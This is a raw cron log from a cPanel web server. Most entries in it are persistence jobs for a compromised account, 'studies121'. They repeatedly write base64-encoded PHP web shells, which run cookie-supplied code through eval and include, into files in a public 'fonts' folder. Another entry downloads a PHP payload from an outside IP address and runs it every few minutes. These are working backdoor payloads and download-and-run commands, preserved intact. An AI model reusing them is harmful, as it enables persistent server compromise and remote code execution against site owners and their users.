Aug 30 23:46:01 ip-184-168-122-23 CROND[27077]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:46:01 ip-184-168-122-23 CROND[27076]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:47:01 ip-184-168-122-23 CROND[27172]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:47:01 ip-184-168-122-23 CROND[27174]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:47:01 ip-184-168-122-23 CROND[27176]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:47:01 ip-184-168-122-23 CROND[27175]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:48:01 ip-184-168-122-23 CROND[27249]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:48:01 ip-184-168-122-23 CROND[27251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:48:01 ip-184-168-122-23 CROND[27252]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:48:01 ip-184-168-122-23 CROND[27253]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 23:48:01 ip-184-168-122-23 CROND[27254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:49:01 ip-184-168-122-23 CROND[27330]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:49:01 ip-184-168-122-23 CROND[27332]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:49:01 ip-184-168-122-23 CROND[27335]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:49:01 ip-184-168-122-23 CROND[27336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:50:01 ip-184-168-122-23 CROND[27506]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 23:50:01 ip-184-168-122-23 CROND[27509]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 23:50:01 ip-184-168-122-23 CROND[27511]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:50:01 ip-184-168-122-23 CROND[27515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:50:01 ip-184-168-122-23 CROND[27514]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 23:50:01 ip-184-168-122-23 CROND[27512]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 23:50:01 ip-184-168-122-23 CROND[27516]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:50:01 ip-184-168-122-23 CROND[27513]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 23:50:01 ip-184-168-122-23 CROND[27517]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:51:01 ip-184-168-122-23 CROND[27608]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:51:01 ip-184-168-122-23 CROND[27610]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:51:01 ip-184-168-122-23 CROND[27609]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:51:01 ip-184-168-122-23 CROND[27611]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:52:01 ip-184-168-122-23 CROND[27687]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 23:52:02 ip-184-168-122-23 CROND[27690]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:52:02 ip-184-168-122-23 CROND[27689]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:52:02 ip-184-168-122-23 CROND[27691]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:52:02 ip-184-168-122-23 CROND[27692]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:53:01 ip-184-168-122-23 CROND[27771]: (root) CMD (/usr/lib64/sa/sa2 -A)
Aug 30 23:53:01 ip-184-168-122-23 CROND[27774]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:53:01 ip-184-168-122-23 CROND[27775]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:53:01 ip-184-168-122-23 CROND[27776]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:53:01 ip-184-168-122-23 CROND[27777]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:54:01 ip-184-168-122-23 CROND[27862]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:54:01 ip-184-168-122-23 CROND[27864]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:54:01 ip-184-168-122-23 CROND[27865]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:54:01 ip-184-168-122-23 CROND[27867]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 23:54:01 ip-184-168-122-23 CROND[27868]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:55:01 ip-184-168-122-23 CROND[27949]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:55:01 ip-184-168-122-23 CROND[27952]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 23:55:01 ip-184-168-122-23 CROND[27953]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 23:55:01 ip-184-168-122-23 CROND[27957]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:55:01 ip-184-168-122-23 CROND[27956]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:55:02 ip-184-168-122-23 CROND[27958]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:56:01 ip-184-168-122-23 CROND[28046]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 23:56:01 ip-184-168-122-23 CROND[28047]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:56:01 ip-184-168-122-23 CROND[28048]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:56:01 ip-184-168-122-23 CROND[28051]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:56:01 ip-184-168-122-23 CROND[28049]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:57:01 ip-184-168-122-23 CROND[28131]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:57:01 ip-184-168-122-23 CROND[28133]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 23:57:01 ip-184-168-122-23 CROND[28134]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:57:01 ip-184-168-122-23 CROND[28135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:58:01 ip-184-168-122-23 CROND[28213]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 23:58:01 ip-184-168-122-23 CROND[28214]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 23:58:01 ip-184-168-122-23 CROND[28216]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 23:58:01 ip-184-168-122-23 CROND[28219]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
